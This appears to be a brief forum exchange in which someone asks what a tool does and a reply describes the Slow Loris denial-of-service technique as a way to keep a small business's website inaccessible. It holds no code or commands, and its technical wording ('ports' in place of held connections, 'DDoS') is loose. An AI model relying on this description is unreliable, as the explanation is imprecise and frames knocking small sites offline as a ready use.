sorry, this tool is for what?

Slow Loris is a type of DDoS that uses less bandwidth than using a botnet. It accesses ports and keeps them open for as long as possible. A new port is created each time its predecessor expires, theoretically allowing a person to keep a small businesses' website inaccessible for as long as they want.
